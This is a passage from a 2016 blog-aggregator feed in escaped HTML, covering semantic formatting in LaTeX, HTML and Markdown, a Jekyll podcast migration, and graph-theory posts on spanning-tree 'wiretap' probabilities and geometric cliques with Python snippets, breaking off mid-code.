When I started learning how to use LaTeX I was converted to this philosophy of adding semantic content to the document and allowing the document generator to make decisions about how it would look. The LaTeX way of handling the formatting in the previous paragraph would be to use &lt;span style="font-family: Courier New, Courier, monospace;"&gt;\emph{ephasize}&lt;/span&gt; for the emphasis and &lt;span style="font-family: Courier New, Courier, monospace;"&gt;\species{Saccharomyces cerevisiae}&lt;/span&gt; for the species. So if you're doing LaTeX the way its creators intended it to be used, you end up looking at a document layer with the words you are writing and the meaning you intend it to have, but not seeing what it looks like until you compile the document. This allows for a great amount of flexibility. I may decide later that &lt;b&gt;emphasis&lt;/b&gt;&amp;nbsp;works better when bold rather than italic, for instance.&lt;br /&gt;
&lt;br /&gt;
The most common issue new users of LaTeX have with the system is that it is often hard to apply the formatting they want. I think this is a direct cause of them not having considered the semantics of their formatting. They just want to know how to get the text to be bold, or a different font or colour or alignment, which are all very simple operations in Word, but often quite hard in LaTeX, for the very reason that LaTeX was designed to separate these small formatting concerns from the meaning layer.&lt;br /&gt;
&lt;br /&gt;
Now, if you are a certain type of Word user, you may be saying that these concerns look very much like using styles. You would be right. My experience with Word users, however, shows that very few of them aim for purity in their application of styles, and the whole interface of Word is asking you to simply click the formatting buttons you need to get the document to look like you want it to look.&lt;br /&gt;
&lt;br /&gt;
&lt;h2&gt;
The web dimension&lt;/h2&gt;
&lt;div&gt;
Although LaTeX and Word are different regarding the encoding of meaning, their default use is still focused on producing a document within a relatively fixed layout. For the vast majority of users, the target is to produce an A4 page which will either be printed and read or be shown in a simulation of a sequence of A4 pages in an environment like Adobe Acrobat or even just Word itself. Choosing a paper size makes some other choices relatively easy. It is easy to know what size fonts should be displayed as, or what size a picture will be and where it is on the page, as all these things have simple unambiguous answers when working with print.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The web changes these assumptions greatly. Every viewer is likely to have, if not a different size screen on their device, then a different size for their window. They may have different fonts installed on their system and they may even have overridden their preferences so that their fonts display differently. HTML was designed with a similar philosophy to LaTeX in that the tags encode semantics more than appearance. There is even a kind of similarity to the code. For instance, to emphasise text, you could do &lt;span style="font-family: Courier New, Courier, monospace;"&gt;&lt;em&gt;emphasis&lt;/em&gt;&lt;/span&gt;, allowing the same flexibility of formatting I mentioned earlier. Of course, there are also direct formatting tags, but many people advocate removing as much of the formatting details from your HTML as you can, relying on CSS to style the output document. The amazing results of this can be seen at sites such as the &lt;a href="http://www.csszengarden.com/"&gt;CSS Zen Garden&lt;/a&gt;, where the same document can look very different depending on the styling supplied.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Even if we're not going over the top like the Zen Garden, we may see the benefit of allowing flexible layout when rescaling a window or viewing a web page on a phone with a smaller screen. I think everyone can agree it is more convenient to view a web page which nicely reflows and uses sensible font sizes, than trying to read a PDF on your phone.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;
Markdown (and the Jupyter Notebook)&lt;/h2&gt;
&lt;div&gt;
This brings me to &lt;a href="https://daringfireball.net/projects/markdown/"&gt;Markdown&lt;/a&gt;, which aims to be a more easily writable format for producing HTML. It is being used as the default text entry method in Slack and the Jupyter Notebook. Since it is aimed primarily at the Web, it inherits many of the semantics/formatting distinctions from the other tools. When you look at the syntax of Markdown, you will notice that there are very few commands or formatting options which allow the user to determine what text will end up looking like. This is disconcerting for users who are used to applying formatting for the sole purpose of obtaining a particular visual result, and they often end up hunting through the various options to get the effect that they are looking for without thinking about the semantics. I recently found a document where the author had used #### in front of a paragraph in order to obtain a bold text effect when in fact #### is used to produce a level 4 heading.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;
Formatting advice&lt;/h2&gt;
&lt;div&gt;
Now that I have talked about what I see as one of the major conceptual hurdles encountered by people migrating from Word, let me give my advice. When producing a document using one of the markup systems, resist the temptation of applying any direct formatting in the first draft. Focus on the content of the document and apply semantic markup only. Distinguish between heading levels using the tools provided (&lt;span style="font-family: Courier New, Courier, monospace;"&gt;\section&lt;/span&gt;, &lt;span style="font-family: Courier New, Courier, monospace;"&gt;&lt;h1&gt;
&lt;/h1&gt;
&lt;/span&gt; or &lt;span style="font-family: Courier New, Courier, monospace;"&gt;#&lt;/span&gt;). Restrict your check of the rendering to check that there are no errors in the processing (so don't check if the document "looks" right, just check that all the text you have written ended up in the final output and has the appropriate semantics). Once you have done that, figure out how to handle formatting in a way which doesn't require direct formatting. Style files for LaTeX, CSS for HTML and Markdown which results in HTML output. Also, before you start fiddling with the formatting, try hard to live with the default formatting, as this will allow the maximal freedom for downstream users. When you make a decision about how wide the text should be because it looks good on your screen, you may be negatively affecting the experience of a user with a wider or narrower screen. Similarly, try to be considerate of scaling in inserting things like pictures. Avoid direct sizes like 300px and rather use relative sizes (like 60% if you want the picture relative to the screen size, or 100em if you want it relative to the font size), this will make your output scale correctly on output devices.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
If you are viewing your output on a web browser, try to change the size of the window and see if the formatting is still the way you like it. In almost all cases, it will be better to avoid formatting and allow the browser to figure out how to display things rather than micro-managing it.&lt;/div&gt;
&lt;h2&gt;
Special characters and math&lt;/h2&gt;
&lt;div&gt;
My final note is about special characters and math. Many word users still use the Symbol font to include special characters in their text. The Unicode standard has solved this problem in a far better way. The drawback of using Symbol in Word is that it doesn't allow for easy reformatting of your document later. For instance, if I had used a capital D and symbol font instead of ∆ in this sentence, you wouldn't be able to select it and reformat it in Arial, as the symbol would turn back to a D! Using proper Unicode symbols allows you to copy and paste into text-only fields on Facebook, WhatsApp Web, Slack and the Jupyter Notebook. &lt;a href="https://en.wikipedia.org/wiki/Unicode_input"&gt;Learn how to do entry for the platform you are using&lt;/a&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
For mathematical formulae, it is worth your while to learn a little bit of LaTeX math syntax. It is memorable and easy to type and is used in the latest version of the Word equation editor:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
These shortcuts will save you time in all these environments and are the same in the Jupyter Notebook.&lt;/div&gt;</description><author>Negative Feedback</author><pubDate>Fri, 23 Sep 2016 12:05:33 GMT</pubDate><guid isPermaLink="true">http://negfeedback.blogspot.com/2016/09/appearance-vs-semantics.html</guid></item><item><title>The craziest "undo" algorithm you've never heard of</title><link>https://www.databasesandlife.com/risc-os-edit-undo/</link><description>&lt;p&gt;The arrow of time may famously only point only one way, but the progress in computer science takes a weaving non-linear path through the thing we understand as time.&lt;/p&gt;
&lt;p&gt;The current understanding of how &amp;ldquo;undo&amp;rdquo; works within computer programs is pretty fixed;
all programs use &amp;ldquo;undo&amp;rdquo; and &amp;ldquo;redo&amp;rdquo; in the same way?  But could &amp;ldquo;undo&amp;rdquo; and &amp;ldquo;redo&amp;rdquo; be more advanced?&lt;/p&gt;
&lt;p&gt;To look for a more advanced version than we use today we have to look to an algorithm I first became aware of in 1989.&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Fri, 23 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/risc-os-edit-undo/</guid></item><item><title>Using Go mobile on iOS for real</title><link>https://blog.nobugware.com/post/2016/go_mobile_ios_real_usage/</link><description>Go Mobile can generate native framework for iOS and Android using Go code, I was curious what could be achieved with it.
Most tutorials are Hello world and I wanted to test it with real code.
You can use it to generate a full app only using Go code, but I&amp;rsquo;m only interested by the bindings part (SDK applications), using a native ObjC/Swift app calling Go code.
I&amp;rsquo;m using some existing Go code regionagogo, (a geofence database), moderately complex since it uses BoltDB and Google S2 library.</description><author>Fabrice Aneche</author><pubDate>Thu, 22 Sep 2016 22:39:32 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2016/go_mobile_ios_real_usage/</guid></item><item><title>SSIS frameworks and unnecessary complexity</title><link>https://blog.christoolivier.com/p/ssis-frameworks-and-unnecessary-complexity</link><description>The notification email arrives in my inbox carrying the unwelcome message that the SSIS job failed.</description><author>Christo’s Blog</author><pubDate>Thu, 22 Sep 2016 20:43:59 GMT</pubDate><guid isPermaLink="true">https://blog.christoolivier.com/p/ssis-frameworks-and-unnecessary-complexity</guid></item><item><title>Virtue</title><link>https://www.anardil.net/2016/virtue.html</link><description>&lt;p&gt;A new way to look at an old word and maybe yourself&lt;/p&gt;</description><author>Anardil</author><pubDate>Thu, 22 Sep 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">https://www.anardil.net/2016/virtue.html</guid></item><item><title>Links - September 22nd, 2016</title><link>https://faingezicht.com/links/2016/09/22/links/</link><description>So much for making an effort to post more consistently... 🙄</description><author>Avy Faingezicht</author><pubDate>Thu, 22 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/09/22/links/</guid></item><item><title>A collection</title><link>https://faingezicht.com/photos/2016/09/22/rands/</link><description>A collection of photos from the past couple of months. The first few I took for my photo class, but I never shared here, while the later ones are mostly tests of my new lens. Still getting used to it.</description><author>Avy Faingezicht</author><pubDate>Thu, 22 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2016/09/22/rands/</guid></item><item><title>2016-09-22</title><link>https://ho.dges.online/pictures/2016-09-22/</link><description/><author>ho.dges.online</author><pubDate>Thu, 22 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-09-22/</guid></item><item><title>Redux anti-pattern: dumb mapStateToProps</title><link>https://goshacmd.com/redux-antipattern-mapstatetoprops/</link><author>Gosha Spark</author><pubDate>Thu, 22 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/redux-antipattern-mapstatetoprops/</guid></item><item><title>Podcasting with Jekyll</title><link>https://www.mikekasberg.com/blog/2016/09/21/podcasting-with-jekyll.html</link><description>&lt;p&gt;I recently did some volunteer work to upgrade the website for a podcast. I chose
to re-write the site from scratch, but needed to migrate all of the existing
content. After some research, I determined that &lt;a href="https://jekyllrb.com"&gt;Jekyll&lt;/a&gt;
fit our needs best because:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;One of my own requirements was that the site, and all the posts (episodes)
would be under version control.&lt;/li&gt;
  &lt;li&gt;I wanted to automate certain parts of the process. Jekyll, being a simple
command line application, made this relatively easy.&lt;/li&gt;
  &lt;li&gt;I was the sole person contributing to the site, and was comfortable with
deploying and updating a website, so a full-blown CMS would be overkill.&lt;/li&gt;
  &lt;li&gt;Jekyll, once built, is plain HTML. No databases to manage.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id="the-old-site"&gt;The Old Site&lt;/h2&gt;

&lt;p&gt;When I took over the web presence of the podcast, it had roughly 4 years of
content that needed to be preserved. The old site was driven by WordPress.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The site itself was a simple WordPress site, based on a template.&lt;/li&gt;
  &lt;li&gt;All audio files for the podcast were stored in their own folder, managed
outside of WordPress. Fortunately for me, this made several aspects of the
migration easier.&lt;/li&gt;
  &lt;li&gt;The iTunes RSS feed for the podcast was an XML file that was manually
updated. I guess this is an artifact from the “old old” site, before they
were on WordPress.&lt;/li&gt;
  &lt;li&gt;Each episode had a WordPress post that contained the title, a short
description, an image, and a link for the audio.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id="podcasting-with-jekyll"&gt;Podcasting with Jekyll&lt;/h2&gt;

&lt;p&gt;I wanted the new site to be simple, easy (for me) to update, version
controlled, and as automated as possible. First, I had to work out the
mechanics of how to actually do podcasting with Jekyll. After publishing
several new episodes, I’ve found the setup to be quite nice:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The site itself is a pretty standard Jekyll blog.  Blog “posts” are actually
podcast episodes. Generally speaking, they work just like Jekyll blog posts
in any other site. To add a new episode, I just create a markdown file in the
&lt;code class="language-plaintext highlighter-rouge"&gt;_posts&lt;/code&gt; folder with some YAML frontmatter.&lt;/li&gt;
  &lt;li&gt;The iTunes RSS feed (which is what makes this a podcast) is generated just
like any other HTML page in Jekyll using the Liquid templating engine.
(Based, roughly, on
&lt;a href="https://github.com/taxigy/itunes-jekyll-template/blob/master/itunes-feed-layout.xml"&gt;this&lt;/a&gt;.)&lt;/li&gt;
  &lt;li&gt;The frontmatter for episodes has a few special fields. These are used to
populate metadata for the RSS feed, and to link to the correct audio file.&lt;/li&gt;
  &lt;li&gt;The Jekyll project is stored in Git.  To keep the repository small, audio&lt;/li&gt;
  &lt;li&gt;files are stored outside the repository
and backed up elsewhere.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id="the-migration"&gt;The Migration&lt;/h2&gt;

&lt;p&gt;After developing the Jekyll site, I had to migrate all of the content off of the
old WordPress site and into the new Jekyll site. Fortunately, since the audio
files were already in a separate folder, they did not require any migration.&lt;/p&gt;

&lt;p&gt;Since I was now generating the RSS feed with Jekyll, I needed to import all the
necessary metadata into a markdown file for each existing episode. To
accomplish this, I wrote a
&lt;a href="https://github.com/mkasberg/jekyll-podcast-import-script"&gt;script&lt;/a&gt; that will
generate Jekyll posts (markdown files) from an existing RSS feed. This was the
most difficult (and riskiest) part of the migration because I needed these
Jekyll posts to produce an RSS feed nearly identical to the existing one (which
was not managed by Jekyll).&lt;/p&gt;

&lt;p&gt;After importing all the old episodes, all that was left was to deploy the site.
Again, because Jekyll generates static HTML, this was easy. I deployed all
pages except index.html while the wordpress site was still live. Finally,
deleting wordpress’s &lt;code class="language-plaintext highlighter-rouge"&gt;index.php&lt;/code&gt; and replacing it with the new &lt;code class="language-plaintext highlighter-rouge"&gt;index.html&lt;/code&gt;
switched the new site on with no downtime. Because the location of the iTunes
RSS feed didn’t move, iTunes and other podcast scrapers did not need to be
changed and immediately started picking up any new episodes deployed with
Jekyll.&lt;/p&gt;

&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Exporting the old website from WordPress and importing it to Jekyll was easier
than I could have hoped it would be, thanks to a few simple scripts. So far,
Jekyll has been easier and more enjoyable to work with than WordPress. It’s also
proving to be a great platform for serving a podcast. I’m working on a solution
for automated deployment, but that’s a topic for a different post.&lt;/p&gt;</description><author>Mike Kasberg's Blog</author><pubDate>Wed, 21 Sep 2016 22:00:00 GMT</pubDate><guid isPermaLink="true">https://www.mikekasberg.com/blog/2016/09/21/podcasting-with-jekyll.html</guid></item><item><title>Clean Tea</title><link>https://www.craigpardey.com/post/2016-09-21-clean-tea/</link><description>&lt;p&gt;I recently weaned myself off coffee.  My daily intake levels were well above normal levels, as was my tolerance. The only thing it was doing for me was preventing me from getting a good night&amp;rsquo;s sleep.  So I decided to quit. I spent two weeks cutting back, and then went cold turkey over the Labour Day weekend.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m now sleeping much better, and no longer need that morning jolt to get me going.&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Wed, 21 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2016-09-21-clean-tea/</guid></item><item><title>Gitlab Pages: A Wordpress Alternative</title><link>https://www.wints.org/notes/2016.09.21/</link><description>&lt;h5 id="a-who-is-this-guide-for"&gt;A. Who is this guide for? &lt;a href="#a-who-is-this-guide-for"&gt;¶&lt;/a&gt;&lt;/h5&gt;
&lt;p&gt;This guide is for someone who doesn&amp;rsquo;t code, but has maybe set up a Wordpress site or two, and they&amp;rsquo;re looking to learn how to build a simple, but working, site from scratch. This will include a gentle introduction to HTML, CSS and Javascript as well, since we&amp;rsquo;ll be using &lt;a href="http://getbootstrap.com/"&gt;Twitter Bootstrap&lt;/a&gt;, which is a front-end framework, to give us a running start. In Part 1, we&amp;rsquo;ll go over how to setup a domain name with Gitlab Pages, and understand how to make changes to your website.&lt;/p&gt;</description><author>A Holding Company</author><pubDate>Wed, 21 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/notes/2016.09.21/</guid></item><item><title>gRPC Envoy Nghttp2 and Load Balancing</title><link>https://blog.nobugware.com/post/2016/grpc_envoy_nghttp2_load_balancing/</link><description>I&amp;rsquo;ve been using gRPC at work and in several personal projects for months and happy with it, but when it comes to load balancing gRPC does not come with batteries included.
For a long time the only document was the Load Balancing draft in the gRPC repo, the clients should implement a Picker interface to know about the servers, so the pooling and controling the load were handled by the clients.</description><author>Fabrice Aneche</author><pubDate>Wed, 21 Sep 2016 00:40:04 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2016/grpc_envoy_nghttp2_load_balancing/</guid></item><item><title>Weekend in Tahoe</title><link>https://faingezicht.com/photos/2016/09/20/tahoe/</link><description>We went to Lake Tahoe. It was fun.</description><author>Avy Faingezicht</author><pubDate>Tue, 20 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2016/09/20/tahoe/</guid></item><item><title>Tim Van Damme: Founder of Abstract</title><link>https://solomon.io/tim-van-damme-founder-of-abstract/</link><description>Tim Van Damme is the founder of Abstract, a company building version control for designers. Previously, Tim was a designer for Instagram, Dropbox and more.</description><author>Sam Solomon</author><pubDate>Tue, 20 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/tim-van-damme-founder-of-abstract/</guid></item><item><title>Colin Powell’s 13 rules of leadership</title><link>https://yasha.solutions/colinpowel-13-rules-of-leadership/</link><description>“It ain’t as bad as you think. It will look better in the morning.”
“Get mad, then get over it.”
“Avoid having your ego so close to your position that when your position falls, your ego goes with it.”
“It can be done.”
“Be careful what you choose: You may get it.”
“Don’t let adverse facts stand in the way of a good decision.”
“You can’t make someone else’s decisions. You shouldn’t let someone else make yours.</description><author>Yasha Solutions</author><pubDate>Tue, 20 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/colinpowel-13-rules-of-leadership/</guid></item><item><title>To Get People To Build A Boat by Antoine de Saint-Exupéry</title><link>https://ho.dges.online/words/commonplace/to-get-people-to-build-a-boat-by-antoine-de-saint-exup%C3%A9ry/</link><description>&lt;p&gt;&lt;em&gt;To get people to build a boat you don’t need to get them to weave canvas, forge nails, or read the sky. You need to give them a shared yearning for the sea.&lt;/em&gt;&lt;br /&gt;
— Antoine de Saint-Exupéry&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Tue, 20 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/to-get-people-to-build-a-boat-by-antoine-de-saint-exup%C3%A9ry/</guid></item><item><title>Telephone Wiretapping</title><link>https://nickp.svbtle.com/telephone-tapping</link><description>&lt;p&gt;Imagine you are looking to intercept a communication that can happen between two people over a telephone network. Let’s say that the two people in question are part of a larger group, who all communicate with each other (sometimes via other people in the network if they don’t have their phone number). We can represent this as a graph where the vertices are people and edges connect two people if they have each other in their phone books. &lt;/p&gt;

&lt;p&gt;Here’s a network with &lt;code class="prettyprint"&gt;6&lt;/code&gt; people, some of whom don’t directly communicate with each other but can do so through others. Each person can reach all the others though, so the graph is connected.  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/mu1rhu10ijcurg.jpg"&gt;&lt;img alt="graph.jpg" src="https://svbtleusercontent.com/mu1rhu10ijcurg_small.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let’s also assume that this group of people communicate efficiently and use the smallest amount of calls possible and always distribute information to every person. If an unknown member of the network wants to communicate some nefarious plans to all the other members they call some people who in turn spread the message through the network by making more calls while adhering to the rules above. If we can tap a single link between two people what is the probability of intercepting one of these calls? Let’s work through an example of a network of 4 people who can each communicate with two others. The graph looks like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/gvrltcrazv8ukq.png"&gt;&lt;img alt="Screenshot 2016-09-18 00.50.46.png" src="https://svbtleusercontent.com/gvrltcrazv8ukq_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If we tap then link connecting &lt;code class="prettyprint"&gt;0&lt;/code&gt; and  &lt;code class="prettyprint"&gt;1&lt;/code&gt; there is only one way to communicate to all members without using this tapped link, where as there are &lt;code class="prettyprint"&gt;3&lt;/code&gt; that do use it. Meaning that the probability of intercepting the information is &lt;code class="prettyprint"&gt;0.75&lt;/code&gt;. The small images represent the ways in which the communication can happen and those that use the tapped link (will be intercepted) are highlighted.&lt;/p&gt;

&lt;p&gt;There are a couple of important things to note as this point. Firstly the links chosen to communicate over form a &lt;a href="https://en.wikipedia.org/wiki/Spanning_tree"&gt;spanning tree&lt;/a&gt; of the graph. This is an important property as a spanning tree has one less edge than the number of nodes and doesn’t contain any cycles. Cycles would mean that the communication has not been efficient because we could remove an edge on the cycle and still have the information reach all the people. &lt;/p&gt;

&lt;p&gt;Let’s work through another example and compute the probability of intercepting the communication if we tap a specific link. Here is another graph. It represents &lt;code class="prettyprint"&gt;4&lt;/code&gt; people but this time there are &lt;code class="prettyprint"&gt;6&lt;/code&gt; links. Everyone can communicate with everyone else. Let’s tap the top link - highlighted in yellow.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/atkdvbglghrxua.png"&gt;&lt;img alt="Screenshot 2016-09-17 20.37.48.png" src="https://svbtleusercontent.com/atkdvbglghrxua_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now let’s enumerate all the spanning trees of this graph manually. Notice that each spanning tree connects all the vertices in the original graph just using fewer edges. In particular &lt;code class="prettyprint"&gt;3&lt;/code&gt; edges which is one less that the number of vertices. Adding another edge would create a cycle. There are &lt;code class="prettyprint"&gt;16&lt;/code&gt; different spanning trees and &lt;code class="prettyprint"&gt;8&lt;/code&gt; of them (highlighted in yellow) use the link we have tapped. This means the probability of intercepting the transitions is &lt;code class="prettyprint"&gt;8.0 / 16.0 = 0.5&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/x0lbh6pnfuqhg.png"&gt;&lt;img alt="Screenshot 2016-09-17 20.37.52.png" src="https://svbtleusercontent.com/x0lbh6pnfuqhg_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Cool! So to solve this problem we need to count the number of spanning trees of a graph that uses a specified edge - call that value &lt;code class="prettyprint"&gt;A&lt;/code&gt;. Then compute the number of spanning trees that the graph has - call that value &lt;code class="prettyprint"&gt;B&lt;/code&gt;. The probability of intercepting the communication on the tapped link is &lt;code class="prettyprint"&gt;A/B&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;The number of spanning trees that use a specific edges can be computed by collapsing the vertices at each end of that edge into one vertex and computing the number of spanning trees for that new multi-graph. For example for the cross-box graph above if we want to find the number of spanning trees that use the top edge we collapse it and generate the graph on the right which indeed has &lt;code class="prettyprint"&gt;8&lt;/code&gt; spanning trees. Remember this could create multi edges between vertices.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/bklqjh9ylqwxra.png"&gt;&lt;img alt="Screenshot 2016-09-18 00.51.45.png" src="https://svbtleusercontent.com/bklqjh9ylqwxra_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Enumerating all the spanning trees is not a feasible option as this number grows really quickly. In fact &lt;a href="https://en.wikipedia.org/wiki/Cayley%27s_formula"&gt;Cayley’s formula&lt;/a&gt; gives the number of spanning trees of a complete graph of size &lt;code class="prettyprint"&gt;K&lt;/code&gt; as &lt;code class="prettyprint"&gt;K ** (K-2)&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;Instead we can use Kirchhoff’s matrix tree theorem. Which tells us that if we have a graph represented by an adjacency matrix &lt;code class="prettyprint"&gt;G&lt;/code&gt; we can count the number of the spanning trees as:&lt;/p&gt;

&lt;p&gt;&lt;img alt="graph.jpg" src="https://wikimedia.org/api/rest_v1/media/math/render/svg/4bd618b8b7f0e5506ca460b410160f107bc2436f" /&gt;&lt;/p&gt;

&lt;p&gt;Where the lambdas are the non-zero eigenvalues of the associated Laplacian matrix &lt;code class="prettyprint"&gt;G&lt;/code&gt;.  It’s actually easier and more numerically stable to compute the determinant of a cofactor of the Laplacian which gives the same result. The Laplacian matrix is used to compute lots of useful properties of graphs. It is equal to the degree matrix minus the adjacency matrix:&lt;/p&gt;

&lt;p&gt;&lt;img alt="graph.pj" src="https://wikimedia.org/api/rest_v1/media/math/render/svg/712994d22cc3a9e0bd6148764a17c1628f843062" /&gt;&lt;/p&gt;

&lt;p&gt;Computing the Laplacian from an adjacency matrix can be done with this code:&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint lang-python"&gt;# compute the Laplacian of the adjacency matrix
def laplacian(A):
    L = -A

    for a in xrange(L.shape[0]):
        for b in xrange(L.shape[1]):
            if A[a][b]:
                L[a][a] += A[a][b] # increase degree

    return L
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Using this we can compute the cofactor. &lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint lang-python"&gt;def cofactor(L, factor=1.0):
    Q = L[1::, 1::] # bottom right minor
    return np.linalg.det(Q / factor)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Also I added a scaling parameter to the cofactor computation. The determinants can get really big when the network has thousands of vertices. In this case computing the numerator and denominator of the probability can result in overflow. If we take some factor &lt;code class="prettyprint"&gt;factor&lt;/code&gt; out of the Laplacian matrices before computing the determinant we reduce the value by &lt;code class="prettyprint"&gt;factor ** N&lt;/code&gt; where N is the size of the matrix. Using this we can compute the probability for large matrices because the factors almost totally cancel out because the matrices dimensions different by only 1.&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint lang-python"&gt;def probability(G1, G2):
    factor = 24.0

    # det(A) = f**n*det(A/f)
    L1 = laplacian(G1)
    L2 = laplacian(G2)
    Q1 = cofactor(L1, factor=factor)
    Q2 = cofactor(L2, factor=factor)

    # f**(n-1) * det(G1/f)
    # -------------------
    # f**(n-2) * det(G2/f)
    return Q1 / Q2 / factor
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Using this we can go through each edge in the graph and compute the probability of intercepting if we tap that edge. This value will change depending on the graph and if it has an &lt;a href="https://en.wikipedia.org/wiki/Biconnected_component"&gt;articulating points&lt;/a&gt; these edges will have probability &lt;code class="prettyprint"&gt;1.0&lt;/code&gt;.&lt;/p&gt;</description><author>Nicholas Pilkington</author><pubDate>Sun, 18 Sep 2016 11:23:06 GMT</pubDate><guid isPermaLink="true">https://nickp.svbtle.com/telephone-tapping</guid></item><item><title>Geometric Cliques</title><link>https://nickp.svbtle.com/geometric-cliques</link><description>&lt;p&gt;If you have &lt;code class="prettyprint"&gt;N&lt;/code&gt; points in the plane what is the largest subset of those points such that each point is within a distance of &lt;code class="prettyprint"&gt;D&lt;/code&gt; of all the others. It seems pretty innocuous right? Turns out it’s a great big beautiful disaster.&lt;/p&gt;

&lt;p&gt;Here’s a example of &lt;code class="prettyprint"&gt;N = 10&lt;/code&gt; points where the maximum subset are the points collected with dotted lines which are each within a distance &lt;code class="prettyprint"&gt;D&lt;/code&gt; of each other. There is no bigger set. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/vugyu6dq2zjtfa.png"&gt;&lt;img alt="Screenshot 2016-09-17 19.35.21.png" src="https://svbtleusercontent.com/vugyu6dq2zjtfa_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Trying to compute every subset of points and checking if they are all within &lt;code class="prettyprint"&gt;D&lt;/code&gt; of each other will take exponential time &lt;code class="prettyprint"&gt;O(2^N)&lt;/code&gt;. So we need a better approach. Let’s try picking a point which will will assume to be part of this clique. Then all the candidate points that are not within &lt;code class="prettyprint"&gt;D&lt;/code&gt; of that point won’t be in the clique. For example if we have three co-linear points spaced by &lt;code class="prettyprint"&gt;D&lt;/code&gt; and select the middle one to build our clique then either the left points can be in the clique or the right one but not both. This does give us a heuristic. We can take each point filter out points that aren’t within &lt;code class="prettyprint"&gt;D&lt;/code&gt; and then run a brute force search to find the maximal clique. &lt;/p&gt;

&lt;p&gt;Let’s try and do better, as this could still be exponential depending on how the points are clustered. Let’s start with a bunch of points:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/p9f5oddzlaidma.png"&gt;&lt;img alt="Screenshot 2016-09-19 20.06.26.png" src="https://svbtleusercontent.com/p9f5oddzlaidma_small.png" /&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;Pick any two points and assume that they are going to be the furthest points apart in our clique let this distance be &lt;code class="prettyprint"&gt;F&lt;/code&gt;, so &lt;code class="prettyprint"&gt;F &amp;lt;= D&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/hmcqnuymt1x5w.png"&gt;&lt;img alt="Screenshot 2016-09-19 20.07.49.png" src="https://svbtleusercontent.com/hmcqnuymt1x5w_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If we filter out all points more than &lt;code class="prettyprint"&gt;F&lt;/code&gt; from these two points we get this situation&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint lang-python"&gt;# try all candidates for furthest points
for i in xrange(N):
    for j in xrange(i + 1, N):
        xi, yi = points[i]
        xj, yj = points[j]

        if distance(xi, yi, xj, yj) &amp;gt; D: continue

        # Furthest pair in our clique
        F = distance(xi, yi, xj, yj)

        lens = []

        for k in xrange(N):

            if k == i: continue
            if k == j: continue

            xk, yk = points[k]

